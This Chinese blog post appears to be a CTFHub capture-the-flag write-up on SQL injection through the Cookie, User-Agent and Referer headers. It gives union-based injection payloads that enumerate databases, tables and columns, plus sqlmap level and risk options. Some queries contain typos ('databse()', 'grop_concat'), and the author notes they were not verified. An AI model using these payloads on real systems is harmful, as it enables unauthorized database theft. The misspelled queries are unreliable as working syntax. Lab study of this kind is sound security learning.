sql注入的其他注入点

sql注入的基本注入可以参考:记基于ctfhubsql注入的学习-CSDN博客sql注入之时间盲注-CSDN博客

本篇主要记录:sql注入中的cookie处的注入,user-ager处的注入,referer处的注入。

(一)cookie注入:

1.手工注入:

在地址栏输入:

?id=1           #发现会有回显

?id=1 and 1=2         #什么都没有发生,所以可以推断GET的值大概率不去数据库。

然后可以使用bursp抓包了,其实本题已经提示您是cookie注入。但还要当未知的状态去探索。

发现cookie中有id,于是我们尝试修改一下。

发现他也改变了,于是就可以确定是cookie是注入点了。

然后就开始尝试

1 and 1=1       #有成功执行数据

1 and 1=2       #无报错信息

所以确定可以使用的方法为:联合注入和时间盲注。

1 ordey by 2        #有信息返回

1 order by 3         #无信息返回

1 union select 1,2    

-1 union select 1,databse()

#得到名为:sqli

-1 union select 1,grop_concat(table_name) from information_schema.tables where table_schema='sqli'

#得到表为:mrsmgkwktd,news

-1 union select 1,grop_concat(column_name) from information_schema.columns where table_name='mrsmgkwktd'                                           

#得到列为:orclhhzjol

-1 union select 1,orclhhzjol from sqli.mrsmgkwktd               #得到flag

#由于是直接打的没经过验证,所以可能会有个别错误,具体可参考记基于ctfhubsql注入的学习-CSDN博客

得到库名:sqli在burp可以这里复制文字。

获取表名:mrsmgkwkt,news

获取到列名:orclhhzjol

最好获取到flag

2.sqlmap注入

参数说明:

默认level为1

只有当level=2时Cookie才会被测试,否则找不出cookie的注入。

竟然有三种方法错判了。

(二)user-agent注入

1.手工注入:

一进入页面就发现了一堆代码,

可以知道id参数大概率是在user-agent中,数据库是获取用户的浏览器信息。

所以直接抓包,然后尝试将浏览器信息删除,发现id后面的信息也没有了。

然后就继续注入测试。

1 and 1=1     #有显示信息

1 and 1=2     #无显示信息

所以确定整型注入,可以使用联合,时间盲注。

1 and order by 2

1 and order by 3

-1 union 1,select databse()

#得到库名:sqli

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#得到表:news,qqsolvrcsi

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='qqsolvrcsi'

#最后得到列:jpsjltnxfk

2.sqlmap注入

参数说明:

--level=3 只有3级才会扫描user-agent

-risk=3 是风险等级

--batch 是默认选择,避免每次都要停下来等我们选择是否继续。

(三)refer处的注入

1.手工注入

拿到网站后我们先常规的用get传id发现没效果,然后就可以抓包了,当然题目也已经是说refer注入,让我们在referer中添加id。

抓包。

发现没有referer,这是因为我们是用GET的传参的,所以没有。因此有两个方法

法一:使用post传一个值

法二:直接加一个referer。

然后就可以继续常规测试了

1 and 1=2      #无报错信息

1 and 1=1     #有报错信息

1 order by 2    #有信息

1 order by 3    #无信息

-1 union select 1,database()

#得到数据库名字:sqli

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

#得到表名:zfxfbpfgld,news

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='zfxfbpfgld'

#得到列名:qqsxbhfntd

-1 union select 1,oqsxbhfntd from sqli.zfxfbpfgld

#得到flag:ctfhub{5859a5f2024f76ec15b79f23}

经过这两个就可以判断注入点为整型类型,可以进行联合注入和时间盲注。

2.sqlmap注入

只有比level=3 更高等级才能扫出referer注入的漏洞。

注意level=3和--risk=3是必要的,不然也扫不出来。

--batch选择默认选项。

最后就能得到flag了。

最后:除了cookie处的注入,user-ager处的注入,referer处的注入,还有其他的注入点,如host处注入点等等,但万变不离其宗。

  • 17
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值